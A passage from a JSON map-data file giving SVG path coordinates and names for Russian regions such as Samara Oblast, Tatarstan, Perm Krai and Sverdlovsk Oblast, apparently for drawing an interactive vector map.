Republic"},"ul":{"path":"m158.57,305.32-1.875,2.6786-0.98215,1.4286-4.8214-0.26785-0.80358,0.26785-1.7857,1.4286-0.80357,1.1607,0,2.3214,0,2.5893,0,1.6964-1.7857,1.4286-1.0714,0.26786-0.89286,0-1.25,1.25-1.25,1.0714-0.625,0.26786,0.89286,1.9643,1.6071,1.6071,2.3214,0.44643,1.5178,0.17857,1.25,1.6072,1.5179,0.80357,2.1429,0.17857,0.89286-0.625,0.0893-1.875,0.17857-1.6964,1.0714-1.6964,0.35714-1.3393,1.3393-0.26786,0.80357,0.53571,1.3393,0.625,1.875-0.17857,1.3393-0.98214,1.0714,0.17857,1.6964,1.4286,2.0536,1.875,1.5179,1.6072,0.80357,1.4286,2.3214,0.17857,1.1607-1.5179,2.8572-2.0536,2.0536-1.1607,0.26785-2.3214,0-3.5714-1.875-1.1607-3.6607-0.0893-2.0536-1.4286-0.98214-1.1607-2.5-0.26785-0.98215-1.5179-3.0357-1.5179-0.80357-1.5179-0.625-2.0536z","name":"Ulyanovsk Oblast"},"ss":{"path":"m150.98,329.96,1.3393,2.1428,0.71428,2.8572,0.44643,2.8571,0,2.1429,0.625,2.3214-0.0893,2.8571,0.35714,2.4107,0.53571,2.1429,0.625,1.9643,0.71429,0.98214,5.8929,0.0893,3.0357-1.6071,1.25-1.9643,1.9643-0.35715,1.6964-0.0893,2.1429-1.4286,1.4286-0.89286,1.25-0.17857,1.6072,0.625,1.7857-0.17857,0.80357-1.875,1.0714-2.3214,4.375-2.5893,1.7857-1.4286,1.1607-2.0536-0.625-1.5179-0.80357-1.7857-0.35715-2.5-1.1607-1.25-0.71429-2.4107-3.6607-0.26785-2.3214-1.6964-1.4286-0.80357-3.5714,2.3214-1.9643,2.2322-2.4107,0.0893-0.98214-0.98214-2.2321-2.4107-2.4107-1.875-1.0714-1.0714-0.89285,0.26785-1.6072,0.71429-1.6964-0.0893-1.5178-0.80357-1.0714,0-0.625,0.98215-0.53572,1.0714-0.80357,1.5179-0.17857,1.3393,0,0.98214-0.0893,0.71429z","name":"Samara Oblast"},"ob":{"path":"m155.89,352.82,0.53571,1.4286,0.71429,1.6071-1.0714,1.6072,1.0714,1.4286,3.0357,0.17857,1.9643-0.35714,2.5,0,0.17857,2.3214-0.89286,2.6786,0.35714,1.0714,3.5714,1.6071,2.1429,1.4286,0.17857,3.5714,0,4.1071,0,1.4286-1.25,0.89286,0,1.9643,0,0.71428,0.71429,1.0714,1.0714,0.89286,1.7857-2.5,0-1.4286,0.89286-0.89286,1.4286,0,1.0714,2.3214-0.17858,1.4286-0.71428,1.25-0.35714,1.4286l0.36,1.43,1.25,0.89286,2.3214,1.25,1.7857,0.89286h1.9643,2.5l1.4286-1.0714,1.6071,0.17857,1.9643,1.0714,0.89285,1.6071,0.35715,1.7857,1.0714,1.25h1.7857l0.89286-0.89285h1.25l1.6071,0.53571,1.25,1.4286,0.53571,2.6786-0.17857,3.5714,1.7857,1.6072,1.4286,0.89285,1.0714,1.6072,1.0714,0.53571,1.6071-0.71429,1.4286-0.17857,1.6071,1.4286v1.25l1.9643,1.7857,1.25,0.71428,2.1429,0.35715h2.6786l1.4286-0.17857,1.25-0.89286,1.25-1.0714,0.89286-0.89286-0.17858-1.25-2.3214-3.2143-1.0714-1.25v-3.75l-0.71429-2.1429-0.17857-2.1429,1.0714-2.3214,1.9643-1.4286-1.4286-1.7857-3.0357-2.8571-1.9643,0.35714-1.4286-0.17857-0.89286-1.25h-2.3214l-1.4286,1.25-1.0714,1.25-0.53572,1.0714h-2.5l-1.0714-2.5-3.2143-0.17858-2.8572-0.35714-0.89285-2.5-1.08,0.33-1.79,0.89h-1.4286l-0.17857-1.0714,1.4286-1.7857,2.5-2.5-0.53-1.78-0.71-0.36v-0.89286l2.5-1.9643,0.35715-1.0714v-2.1429h-1.7857l-2.1429,0.71429-1.6071,0.17857-1.4286-1.9643-0.53571-2.3214,1.25-1.7857,1.0714-0.89286v-1.6071l-0.35714-2.3214,1.0714-0.89285,0.17857-3.0357-1.25-1.9643-1.7857-1.7857-0.17857-1.6071,1.0714-2.8571,1.6072-2.5,0.89285-1.7857-0.53571-1.25-2.1429-1.6071-1.4286-2.1429-1.25-1.4286-1.6071,1.7857-1.4286,1.4286-4.1072,2.5-1.4286,1.9643-0.35714,1.9643-0.53571,0.35714-1.9643,0.17857-2.1429-0.35714-1.9643,0.53571-1.9643,1.4286-2.8571,0.53572-1.0714,0.71428-1.4286,1.7857-2.1429,1.25h-2.5z","name":"Orenburg Oblast"},"nn":{"path":"m156.25,271.57,4.2857-0.53571,2.5-1.4286,3.5714-0.71428,2.6786-1.0714,1.25-0.17857,2.3214,1.25,1.7857,1.0714,2.6786-0.17857,1.4286,0,2.6786-1.0714,1.25,0.17857,1.4286,1.9643,1.0714,2.1429,2.5,0.17857,2.5,1.7857,1.0714,1.25,0.89286,2.5,1.25,1.4286-0.17858,1.6071-1.25,0.89286-1.7857,0.17857-0.71429,0.89286-1.6071,0-0.71428-0.89286-1.7857-1.0714-1.6071,0.71429,0,1.6071-1.25,1.4286-1.25,0.53572-2.1429-0.89286-2.1429-1.6071-3.0357-0.89286-1.7857,0-1.0714,0.89286-0.71429,1.7857,0,2.8571-0.17857,2.8572,0.53571,1.0714-1.0714,1.4286-2.3214,1.4286-1.4286,0.89285,0,1.4286-0.35715,0.89285-0.89285,0.71429-2.8572-0.35714-1.0714-0.17858-0.89285,0-0.71429,0.53572-0.38692,0.34215-0.69448-0.12626-0.44194-0.50508-0.50508-3.0936-1.5784-0.12627-1.5784,1.4521-2.2097,0.44194-3.9775-0.25253-2.0834-2.0203,0.1894-3.3461-1.2627-1.389-0.0631-0.75761,1.0102-1.4521-0.0631-1.0733-3.7249-0.63135-1.1996-0.75761-1.0733-2.7148,1.1364-2.336-1.1996-3.3461,2.0203-0.50507,3.283-0.12627,5.9978,0.12627,1.2627,0.88388,2.0203,0.1894,2.0203-0.75761,0.12627-1.5152-0.94702-1.4521,0.63135-1.0733z","name":"Nizhny Novgorod Oblast"},"ml":{"path":"m181.51,286.29,2.2728,2.336,2.4622,2.0834,2.7779,1.1364,2.9673,0.0631,2.4622,2.0834,1.5784,1.6415,0.44194,1.3258,0.63134,0.94702-0.3788,1.6415-0.56821,1.1364-0.0631,1.8309-1.5152,1.389-0.88388,0.56821-1.4521-0.12627-1.1996-1.5152-1.1996-0.44194-1.389-0.82075-1.7046-0.12627-0.50508,0.88389-1.7046,0.88388-2.5885,0.12627-1.9572-0.82075-1.1364-0.69448-0.88388-3.0305-0.37881-4.7351-1.1996-1.4521-4.0406-0.0631-1.3258-0.1894-0.63134-1.0733,0-2.0834,0.0631-3.0936,0.37881-1.8309,1.0102-1.0733,0.82075-0.63134,2.5885,0.3788,2.2728,0.88389,2.9673,1.7678z","name":"Mari El Republic"},"ta":{"path":"m160.93,308.14,0.0631,1.1364,0.44194,1.0733,0.88389,1.0102,1.5152,0.63134,1.8309,1.4521,1.5152,0.75762,1.389,0.44194,1.4521,1.0733,1.389,1.0102,2.4622,0.44194,1.4521,0.0631,1.7046,0.88388,0.12627,2.2097-0.37881,2.9042,0.44195,1.4521,2.0834,1.1996,1.0733,0.75761,2.9042,0.18941,0.82075,0.69448,0.56821,1.7046,1.3258,2.1466,0.63134,2.5885,0.88389,1.7678,1.6415,1.894,1.389,2.2728,1.6415,1.1364,0.88388,0.88388,1.1996,0.0631,2.9042-1.8309,2.9042-2.7148,0.44194-0.63135,0-1.894-1.0102-1.0102-0.0631-0.88388,1.8309-0.25254,1.2627,0.31567,0.75762,0.56822,1.3258,0.3788,1.6415-0.31567,1.1996-0.69448,2.9042-0.12627,1.5152-0.37881,0-0.94701-0.37881-1.2627-1.1996-1.5784-0.63134-1.2627-1.5152-0.44194-0.88389-1.2627s1.2627-1.0102,1.5784-1.1364c0.31567-0.12627,2.2728-0.75762,2.2728-0.75762l0.0631-1.4521s-1.1364-0.18941-1.389-0.50508c-0.25254-0.31567-0.69448-0.94702-0.69448-0.94702l2.0203-1.3258,2.0203-1.389,0.12626-1.1364-0.69447-0.82075h-1.5152l-0.69448,0.0631-1.1364,1.3258-0.56821,0.69448h-1.894l-0.12627,0.88388-0.12627,1.3258-0.82075,1.1364-1.5152-0.12627-0.75761-1.4521-1.1364-0.94702-0.82075,1.0102-1.7678-0.31567-0.56821-2.2728-1.4521-0.88388-0.63135-1.2627,0.12627-1.3258-1.1364-1.3258,0.0631-2.6516,0.12627-3.0936,0.63135-0.94702-0.25254-1.0102-0.69448-1.0733-0.56821-0.56821-1.0102,0.44194-0.88388,0.37881-1.0102-0.12627-1.0733-0.88389-0.88388-0.82074-1.8309-0.69448-1.4521-0.44195-0.94702,0.94702-1.8309,0.75762-1.8309,0.1894-1.6415-0.31567-1.9572-1.0733-1.389,0.50508h-2.7148l-2.0834,0.0631-1.389,1.1364-0.0631,0.88389,0.69448,0.50507,0.12627,0.82075-0.82075,1.0733-1.5152,1.2627-2.6516,1.0733-1.5784,0.69448-1.1364-0.75762-2.0834-0.82075z","name":"Republic of Tatarstan"},"iv":{"path":"m144.26,252.7,2.0203-1.1364s0.94702-0.50507,1.1996-0.50507c0.25254,0,2.5885,0.31567,2.5885,0.31567l2.7148,1.1364,2.3991,1.1364,1.2627,1.1996s1.4521,1.0102,1.7046,1.1996c0.25254,0.18941,1.4521,1.2627,1.4521,1.2627l1.7046,0.63135,1.1364-0.88388h0.88388l0.50508,0.82074,0.1894,1.1996,1.0102,0.75762,1.5152,0.82074,1.0102,0.63135,0.44194,1.0102-0.69448,1.0733-0.12626,0.88388,0.75761,0.37881,0.88388-0.56821,1.389,0.63134,0.69448,0.94702,0.25254,1.2627-0.25254,0.50508-1.894,0.69448-2.9673,0.82075-3.0936,0.50507-2.3991,1.5152-3.4724,0.50508-0.94702-0.12627-1.7678-2.3991-3.5987-3.4724-2.7148-3.3461-0.82075-2.7779-0.88388-1.0102-2.1466-0.44195-0.69448-0.56821,0.50507-1.4521,0.56821-1.3258z","name":"Ivanovo Oblast"},"yr":{"path":"m154.11,228.33,1.7678,1.5784,1.9572,0.50507,1.7678,0.50508,1.3258,1.6415,1.9572,1.5784,1.5784,0.0631,1.0733-0.69448,0.82075,0.31568,0.3788,1.4521,0.12627,3.4093-0.0631,2.6516,0.25254,1.5152,0.88388,1.0102,0.56821,0.94702-0.37881,1.0733-1.7046,1.1364-2.7148,1.3258-3.283,2.2097-1.6415,1.0733-3.3461,0.88388-2.4622-0.1894-2.1466-0.63135-2.6516-0.69448-2.1466,0.63135-1.8309,1.0733-1.7046-0.88388-1.4521-1.0102-1.894-1.1364-1.1364-1.1996-0.25254-1.3258,0.56821-1.4521,2.0203-0.88388,2.2097-1.1996,1.6415-2.7779,1.0102-2.9673,1.1996-1.2627,0.75762-2.4622,1.6415-1.8309,1.9572-1.8309,2.7148-1.5152z","name":"Yaroslavl Oblast"},"kt":{"path":"m168.7,245,1.389,0.12627,1.2627-0.75762,1.5152-1.389,1.894-0.75762,1.894,1.1364,1.894,1.5152,2.5254,0.12627,0.63135-0.75761,0.75761,0.50507,1.2627,2.1466,2.2728,2.2728,1.5152,1.5152,1.1364,1.894,0.3788,2.2728,1.2627,1.7678,1.5152,1.6415,2.5254,1.389,1.7678,1.5152,1.7678,1.894,2.0203,0.88388,1.894,0.12627,2.0203-2.0203,1.6415-0.3788,0.63135,1.894,1.1364,1.0102-0.12627,1.6415-1.6415,1.5152-0.12627,1.894-0.3788,2.5254s-1.7678,0.75761-2.3991,0.75761c-0.63134,0-6.3134-0.12626-6.3134-0.12626l-3.1567,0.12626-1.1364,1.1364-1.2627,0.50507-2.0203-0.75761-1.5152-0.75762-2.0203-0.3788-1.0102-1.5152-0.88388-1.6415-0.75762-0.63135-1.1364-0.12627-0.88388,0.50508-2.1466,0.75762-3.283-0.25254-1.7678-0.50508-2.0203-1.2627-0.50508-0.50508,0.25254-0.63134v-1.1364l-1.389-1.2627-0.88389-0.50508-0.63134,0.37881-0.38556,0.10695-0.53571-0.35714,0.0893-0.89286,0.71429-0.625,0.0893-0.98214-0.89285-0.71429-1.7857-1.0714-0.98214-0.98215-0.26786-0.98214-0.71428-0.89286h-0.98215l-0.89285,0.625-0.625,0.0893-1.25-0.71429-1.4286-0.80357-1.3393-1.25-1.7857-1.3393-0.69-0.57,1.07-0.71,2.05-0.54,2.3214-0.71428,2.8571-2.0536,3.3036-1.6964z","name":"Kostroma Oblast"},"le":{"path":"m123.49,177.57,1.7678-1.6415,1.5152,0,2.2728-1.894,2.5254-0.50507,2.2728,0.63134,2.9042,2.1466,2.7779,1.5152,0.75761,2.5254,0.12627,1.389,1.0102,1.1364,1.1364-0.37881,0.75761-2.0203-0.12627-2.3991-0.88388-1.6415-0.88388-1.894,0.12626-2.0203,1.1364-1.2627-0.25254-1.894-0.75762-1.0102,0-0.37881,1.2627-0.25254,3.283,0.25254,3.5355,1.2627,2.2728,0.12627,1.894,0.12627,1.2627,1.1364,0.63135,1.2627,0,1.7678-0.37881,1.6415-0.25254,2.1466-0.63134,1.7678-2.1466,1.2627-0.75761,1.0102-1.0102,1.894-1.0102,1.1364-1.7678,1.1364-0.63135,1.2627,0.25254,1.1364,1.389,0.75762,2.1466,0.25253,1.0102,0.88389,0.25254,1.6415,1.0102,0.75762,2.1466,0.12627,1.1364-0.50508,3.4093-0.25254,1.7678-0.63134,2.0203-0.25254,1.5152,0.75761,1.0102,1.6415,1.1364-1.2627,1.389-1.7678,0.75762,0.88388,0.50507,2.0203,0.63135,2.2728,2.1466,0.50507,1.2627,0.75762,1.1364,1.0102,0.12626,1.2627,0.12627,1.6415-0.12627,1.7678-1.2627,0.75761-2.2728-0.25254-1.389-0.88388-1.389-0.25254-0.75761,0.88388-1.5152,1.0102-3.0305,0-1.5152,0.3788-2.7779,3.0305-1.0102,1.389-0.37881,2.1466-1.6415,1.0102-1.1364,0.12627-0.3788,1.2627-1.2627,0.63134-0.63135-1.0102-1.1364-1.1364-2.2728-0.12627-0.75761,0-1.1364-3.0305,0-2.9042-1.0102-1.5152-0.88389-1.894-0.12627-1.6415-2.2728-0.88388-0.88388-0.63135s-0.37881-1.0102-0.37881-1.5152c0-0.50507-0.25254-3.4093-0.25254-3.4093l-0.75761-1.1364-2.3991-0.25254-1.389,0.75761-0.75762-0.50507-0.12627-1.2627-0.63134-0.88389-1.0102,0.63135-2.1466,0.3788-2.7779-0.88388-1.5152-0.88388-3.283-0.37881-1.2627-0.88388-1.0102-0.75762,0.63135-1.2627,0.88388-2.1466,0.88388-1.389,0.12627-1.2627z","name":"Leningrad Oblast"},"ki":{"path":"m207.59,265.33,1.2627-0.88388,0.12627-2.0203,0-2.0203-1.0102-1.389-0.12627-1.6415,1.5152-0.37881,3.9143,0.25254,2.5254-0.88388,2.6516-1.1364,0.63134-1.389,1.1364-0.63134,2.7779,0.25254,1.389,1.7678,0.12627,2.7779-0.63134,3.0305-1.0102,1.389-0.75761,2.7779-1.894,0.75762-2.0203,0.12626-1.6415,1.7678-0.63134,1.6415-1.0102,0.63134-0.75761,0.88389,0.75761,1.389,1.6415,0.88388,1.0102,1.389-1.6415,1.894,0.12626,1.894,1.1364,0.88389,1.2627,0.50507,0.88388-1.389,0.88388-1.894,2.7779,0,3.1567,0.3788,4.2932,1.2627,1.7678,2.2728,2.1466-0.12627,2.1466-1.6415,1.6415,0.37881,1.2627,1.0102,0.75762,1.894s1.0102,1.5152,1.389,1.7678c0.3788,0.25254,2.5254,1.894,2.5254,1.894l0.25254,1.5152-0.88389,2.0203-2.0203,1.1364-3.5355,0.25253-1.2627,0.63135-1.2627,1.5152-0.25254,1.389,1.0102,1.389,0.12627,1.1364-1.5152,1.1364-0.75762,1.389-0.12627,2.1466-1.2627,1.0102-2.7779,0.12627-1.1364-1.2627-1.0102-2.5254-2.0203-0.12627-1.389-0.3788v-1.894l-2.0203-1.1364-3.1567,0.75761-1.7678,1.389s-1.2627,1.0102-1.2627,1.5152c0,0.50508-0.3788,2.2728-0.50507,2.7779-0.12627,0.50508-1.6415,1.5152-1.6415,1.5152l-2.5254,1.1364-1.894-0.50507-1.2627-1.389-1.5152,0.25253s-0.75761,0.50508-1.0102,1.389c-0.25254,0.88389-0.12627,2.7779-0.12627,2.7779l0.12627,1.894-2.0203,0.63135-3.4093,0.3788-0.25254,1.1364v1.389l-0.3788,1.389-1.7678,0.88389h-0.63135l-0.63134-1.5152-0.50508-0.37881,0.12627-2.5254,0.25254-2.5254,0.50508-1.5152-0.88389-1.6415-0.25254-1.2627,0.75762-2.9042,0.63134-2.5254-1.0102-1.5152-1.6415-2.5254-2.1466-1.5152-0.88388-0.63134-3.9144-0.12627-1.7678-1.2627-1.6415-1.5152-1.6415-1.5152-0.50507-0.50508,0.50507-1.0102,1.2627-1.6415,0.25254-1.0102,1.1364-0.75761,1.5152,0.50507,1.894,1.389,1.389-0.75761,2.1466-0.63135,1.389-1.2627v-1.5152l-1.2627-1.894-0.63135-1.5152s-0.78918-1.1049-0.85231-1.2627c-0.0631-0.15784,0.56821-0.69448,0.56821-0.69448l0.97858-0.63135,0.75762-0.75761s2.2728-0.0316,2.8095-0.0316c0.53664,0,3.1567,0.0631,3.8828,0.0631,0.72605,0,3.7881-0.44194,3.7881-0.44194l1.4521-0.59978s0.12626-1.5784,0.15783-1.7993c0.0316-0.22097,0.47351-2.4938,0.47351-2.4938l2.0203-2.3991z","name":"Kirov Oblast"},"bs":{"path":"m211.5,329.86,2.3991-1.6415,2.5254-1.6415,1.5152-0.25254,1.894,2.6516,2.2728,2.2728,2.9042,0,2.6516,2.5254,1.7678,2.5254,1.1364,1.7678,1.7678,0,1.2627,2.1466,2.6517,2.3991,2.2728,1.6415,2.0203,1.7678,1.2627,1.1364,0.88389,1.389-0.37881,1.1364-1.6415,0.63134-0.88388,1.2627,0.25254,1.389,1.389,0.63135-0.63135,1.2627-1.5152,0.50508-1.2627-0.75762-2.3991,0.37881,0,1.0102-1.5152-0.25254-0.50508-0.88388-1.5152-1.0102-4.5457,0-1.1364-0.37881,0-1.2627,1.7678-1.2627,0.12627-1.389-1.0102-0.88389-1.6415-1.1364-2.5254,0.25254-1.0102,2.1466-1.7678,2.6516-0.88388,2.0203,0.50508,3.0305,1.894,1.0102,2.0203-0.75761,1.6415,0.75761,1.0102,2.0203,2.5254,0.12627,2.0203,0.75761,2.7779,0,1.7678-0.50508,1.5152,1.1364-0.63135,1.389-1.894,1.5152-1.2627,1.1364-1.0102,1.389-1.2627,0-1.2627-0.63134-2.1466-0.75762-1.6415-0.3788-1.6415,1.2627-0.3788,1.5152-0.63135,1.389-2.3991,2.6516-1.6415,2.3991-3.9143,3.6618-1.894,1.5152-0.25254,2.0203-0.63134,1.5152-2.9042-0.25254-1.6415,1.7678-1.2627,1.389-0.50507,0.63135-2.0203,0-1.1364-2.0203-0.50508-0.63134-5.4296-0.63135-1.389-2.1466-2.7779,0.88388-1.2627-0.12627,0-0.50507,3.4093-4.4194,0-1.6415-0.88389-0.63134,0-1.1364,1.7678-1.1364,1.0102-1.389,0-2.0203-0.25253-0.50508-1.894-0.12627-2.2728,1.2627-1.7678-1.1364-1.1364-2.3991,1.2627-2.3991,1.0102-1.894-0.25254-2.5254,0-0.75761,0.88389-1.5152,0-3.1567-2.5254-2.9042-0.12627-2.0203,1.0102-2.6516,2.0203-4.1669,2.9042-2.1466,3.9143-3.1567,1.0102-2.1466-0.88389-1.389-0.12627-0.12627,0-0.75761,1.389-0.25254,2.3991,0.75762,1.389,0.12626,1.7678-0.63134,2.6516-0.25254,1.7678-0.12627,0.88388-0.63134,0-1.7678z","name":"Republic of Bashkortostan"},"cl":{"path":"m242.18,347.66,1.7678-0.88388,2.7779,0.50507,2.3991,2.1466,2.3991,1.7678,3.0305,1.894,2.9042,0,1.5152,1.6415,1.6415,2.3991,0.75761,1.894-0.63135,3.1567,0,2.7779-0.88388,1.389-1.7678,0.63135-1.6415,1.1364-0.75762,1.2627-2.0203,0.63135-1.894,1.5152,0,1.1364,1.5152,1.5152,2.0203,2.0203,1.1364,2.3991-0.37881,2.7779-0.75762,1.7678-2.3991-0.63135-2.6516-0.50507-3.283-0.37881-2.0203-0.50508-1.5152-1.7678-2.0203-1.7678-1.1364-1.1364-1.1364,0.50508-1.5152,1.1364-0.88388,1.0102,0,1.894,1.6415,1.2627-0.37881,0.75761-2.2728,0.63135v1.0102c0,0.50508,0.75761,2.0203,0.75761,2.0203l2.0203,1.7678,0.12627,1.894-1.5152,0.63134-1.5152-1.5152-1.389-1.2627-2.2728-0.63134-3.283,0.12627-1.5152,0.25253-0.63134,1.2627,1.0102,1.389-0.37881,1.894-1.0102,1.6415-4.5457,0.25254-1.6415-0.88389-1.6415-0.63134,0.50507-2.0203,1.6415-0.88388-0.75761-1.7678-2.0203-2.3991-1.6415-1.0102-1.894,0.12627-1.389-0.63135,0.63134-2.7779,1.7678-2.6516,4.4194-4.1669,3.7881-4.672,1.2627-2.9042,1.389-0.88389,2.5254,0.25254,2.0203,1.0102h2.0203l1.894-2.2728,2.2728-1.894,0.50508-1.389-1.5152-1.2627-2.1466,0.50507h-3.0304l-2.7779-0.88388h-1.5152l-0.88388-1.894-1.389-0.50507-1.7678,0.63134-1.0102-0.37881-0.88389-0.63134-0.63134-1.894-0.12627-1.6415,3.6618-5.6821,0.75762-0.63135,1.7678,0.37881,1.7678,0.88388,0.63134,1.1364-0.3788,0.75762-1.2627,1.1364v1.1364l-0.12627,0.12627,0.75761,0.63135,2.6516,0.12627h2.2728l1.5152,1.0102,1.2627,1.1364,1.1364-0.63135,0.50507-0.75761,2.0203,0.12627,1.7678,0.37881,1.1364-1.2627-0.37881-1.0102-0.75761-0.88388,0.25253-1.5152,1.5152-1.0102,0.63135-1.1364z","name":"Chelyabinsk Oblast"},"ud":{"path":"m231.7,302.33-0.12627,1.389-2.0203,2.7779-1.5152,1.389,0.12626,1.389-1.6415,1.0102-1.1364,1.5152-1.5152,2.3991-0.50508,1.894-0.50508,3.1567-2.0203,1.0102-2.2728,0.12627-0.63135,1.1364-0.37881,3.0304-0.12627,1.389-3.0304,2.0203-2.2728,1.389-1.0102,0-1.2627-1.5152-1.7678-0.75762-0.63134-1.2627,1.389-1.1364,2.0203-0.75761,0.50508-1.1364-0.37881-0.50508-1.5152-0.88388,0.25254-0.88389,2.7779-1.7678,1.0102-1.1364-0.50507-1.0102-0.75762-0.63134-2.0203,0.63134-1.1364,1.389-1.5152,0.63135-1.0102,0.25253-0.3788,1.5152-0.63135,0.75762-0.88388,0.25254-0.75762-1.0102-1.389-1.2627-0.75761,0.37881-1.2627,0.37881-0.88388-0.88389-0.63135-1.1364-1.0102-1.0102-0.63135-1.0102,0-1.1364,1.6415-0.88389,1.1364-1.1364,0.25254-2.0203,0.25254-1.0102,3.1567-0.50507,1.6415-0.50508,0.37881-4.4194s0-1.2627,0.63135-1.5152c0.63134-0.25253,1.2627-0.3788,1.2627-0.3788l1.2627,0.63134s1.6415,1.894,2.3991,1.389c0.75761-0.50507,1.894-0.88388,1.894-0.88388s2.3991-1.0102,2.2728-1.6415c-0.12627-0.63134,0.25254-1.6415,0.25254-1.6415l0.3788-1.389,2.1466-2.2728,1.2627-0.75761,2.2728-0.50508,1.6415,0.37881,0.88388,1.1364v0.75761l0.25254,0.63135,1.0102,0.12627,1.6415,0.3788,0.63135,0.50508,0.63134,1.6415,0.75762,0.75761z","name":"Udmurt Republic"},"pe":{"path":"M242.06,274.03l-2.28,1.16,0.5,1.5-0.5,3.53,0.5,1.28,1.41,2.41,2.25,1.62,0.65,1.66-1.4,2.12-2.41,1.03-2.87,0.63-1.66,0.87-1.13,1.54,0.5,1.24,0.63,1.38-0.13,1.03-1.9,1.63-0.38,2.4-0.87,1.6-0.13-0.19-1,0.12-1.28,2.5-2,2.29-0.15,1.53-0.88,0.87-2,2.03-1.91,3.41-0.62,3.9-1.28,0.88-2.25,0.38-1.28,0.78-0.63,4.9,2.53,2.66,2.13,2.28,2.53,0.25,2.28,1.5,3.41,4.94,1,0.37,1.28-0.12,1.12-1.25,0.88-1.28,1.03-1.75,1.25-1.66,1.28,0.88,1.5,1.28h2.41l2.03-0.91,0.5-1.75,0.25-1.91,0.87-0.75,0.88-1,0.78-0.5,2.5,2.75h3.69l0.87-1,0.5-1.5,0.25-1.65,0.88-1.25,4.69-0.38,2.15-0.78,0.63-1.5-0.63-0.62-0.12-1.41,1.12-1.38,0.75-1.03v-1.37l-0.5-0.88-0.62-1.03,0.25-1.75,1-1.53,2.03-1.5,3.15-0.5,1.88-1.91,2.28-1.62,2.28-1.66,2.28-1.65,0.88-0.75,0.5-1.25,1-1.78s0.9-1.12,1.53-1.75c0.63-0.64,1.62-1.91,1.62-1.91l1.16-1.37,0.25-1.66-2.41-0.38-2.65-0.75-2.66-1.65-2.75-1.38-2.66-1.28-2.53,0.66-3.15,0.12-3.66-0.9-2.9-1.63-1.63,0.85-0.41-0.22-1.9-1.25-1.38-2.03-1.12-1.13-2.28-0.78-0.13-1.63-1.12-1.28-1.41-1.5-1.91-0.5-2.62-0.25-2.41-0.78z","name":"Perm Krai"},"sv":{"path":"m286.13,291.72,1.7678-1.1364,1.1364,1.389,0.88388,2.3991,2.6516,1.5152,2.9042,2.1466,1.2627,2.3991,2.2728,2.7779,0.12627,1.7678,0.63135,2.0203,0.75761,1.5152-0.63134,1.7678-1.894,1.894-0.63135,1.7678-0.25253,4.7982,0.3788,2.7779,0.63135,1.0102-1.0102,2.9042-1.5152,1.7678-0.37881,2.3991,2.0203,1.2627,2.3991,2.0203,0.75761,2.0203,0.12627,2.6516-0.63134,1.6415,0,2.9042,0.75761,2.3991-0.25254,1.894s-0.88388,0.88388-0.88388,1.389c0,0.50508-0.50508,2.7779-0.50508,2.7779l-1.2627,1.2627-2.0203,0.12627-1.1364,0.88388h-3.0304l-1.5152-0.88388-2.1466,0.25254-1.389,1.1364-0.88388,1.389-0.25254,2.9042-0.75761,1.1364-1.1364,1.0102-1.7678,0.50508-3.0305,0.25254-2.0203,0.25254-1.0102,0.88388-1.894-0.37881-1.389-1.1364-1.894-1.894-2.5254-1.6415-1.5152-0.63135-2.2728,0.37881-1.894,0.3788-1.389-0.12626-1.6415-1.389-1.894-2.2728h-2.2728c-0.50508,0-1.6415-0.75761-1.6415-0.75761l-4.672-3.1567-1.6415-1.7678-2.9042-0.3788-1.389,0.12627-0.88389,0.12627-1.2627-1.2627-3.9143-3.283-3.1567-3.0305-0.50507-1.389,2.0203-2.9042,1.389-2.7779,0.75762-0.25253,1.6415,1.1364,1.1364,0.75761h2.7779l1.5152-1.389,0.50507-1.7678,0.12627-1.7678,2.5254-1.7678,1.7678,2.0203,1.2627,0.63134h2.3991l1.6415-1.1364,0.75761-2.0203,0.50508-1.894,3.7881-0.75762,2.5254-0.3788,1.389-1.2627v-1.0102l-0.88388-1.389,1.7678-2.1466,0.25254-1.1364v-1.389l-1.0102-1.6415,1.0102-2.5254,2.1466-1.6415,3.283-0.88388,1.1364-0.75762,8.0812-6.1872,0.88388-1.6415,1.6415-2.7779,2.1466-2.5254z","name":"Sverdlovsk Oblast"},"ku":{"path":"m255.69,383.01,2.3991,1.894,3.283,0.88388,4.2932,1.2627,3.1567,0.75762,4.1669-0.50508,2.5254,0.25254,2.9042,1.0102,3.5355,1.1364,3.5355,0.88388,3.283,1.0102,3.4093-0.12627,2.3991-1.2627,3.6618,0,1.0102-1.5152,0-1.894-1.5152-2.1466-1.389-2.7779s-1.5152-0.12627-2.1466-0.37881c-0.63135-0.25254-2.2728-1.6415-2.2728-1.6415l-0.75761-3.1567-1.389-1.7678-2.6516-1.2627-1.5152-1.6415-1.2627-2.2728-1.6415-1.5152-1.389-1.2627-1.0102-1.389,0.50508-2.3991,1.389-1.2627,1.1364-1.894-2.5254,0.37881-3.0305,0.12627-1.389,0.50507-0.75762,0.50508-1.2627-0.37881-2.0203-1.0102-1.7678-1.7678-2.0203-1.389-1.7678-0.75761h-1.2627l-3.0305,0.63134-1.7678-0.12627v1.1364l0.63135,0.88388-0.50508,2.2728v2.2728l-0.25253,2.1466-0.88389,1.1364-2.5254,1.1364-1.389,1.1364-1.5152,1.2627-1.7678,0.88388-0.50507,1.2627,0.63134,1.1364,1.894,1.894,1.389,1.389,0.63134,1.7678v1.894l-0.50507,1.7678z","name":"Kurgan Oblast"},"ko":{"path":"m224.63,259.27,2.1466-0.63134,0.63134-0.88388,1.894,0.12627,1.6415,1.894,2.1466,0.25254,2.1466-0.50508,1.5152-1.894,0.50508-1.5152-0.63135-0.88389,0.63135-1.5152,2.1466-1.2627,4.5457-1.894,2.6516-1.1364,0.25254-1.5152-0.50508-2.5254-2.1466-0.88389-3.283,0.12627-2.3991,1.6415-2.3991-0.75761s-0.50508-1.0102-1.2627-1.0102-1.5152-0.25253-1.5152-0.25253l0.50507-3.0305,1.7678-0.37881,1.389-1.5152,0.50508-1.894,2.1466-0.50508,2.2728,0.12627,0.63135-1.7678-0.63135-0.63134-0.63134-2.1466,0.63134-1.389,4.5457-2.0203v-1.2627l-1.0102-2.5254-0.63135-1.6415-1.6415-1.7678-0.63134-1.1364,0.25254-1.6415,1.2627-0.63134,1.7678,0.75761,1.5152,2.1466,1.6415,1.5152,2.2728,1.894,2.6516,1.2627,1.7678,1.1364,0.50508,1.7678,1.5152,1.5152,3.1567,0.3788,1.894,1.2627,2.9042,0.50507,0.88388,1.2627h2.0203l1.0102-0.63134-0.25254-1.5152-0.75761-1.5152,0.50507-1.0102,0.88389-1.5152s0.25253-1.1364-0.12627-1.6415c-0.37881-0.50508-1.1364-1.1364-1.1364-1.1364v-0.88388l2.7779-3.283,3.1567-2.1466,1.894-2.0203,1.0102-0.88388,2.3991,0.63134,3.4093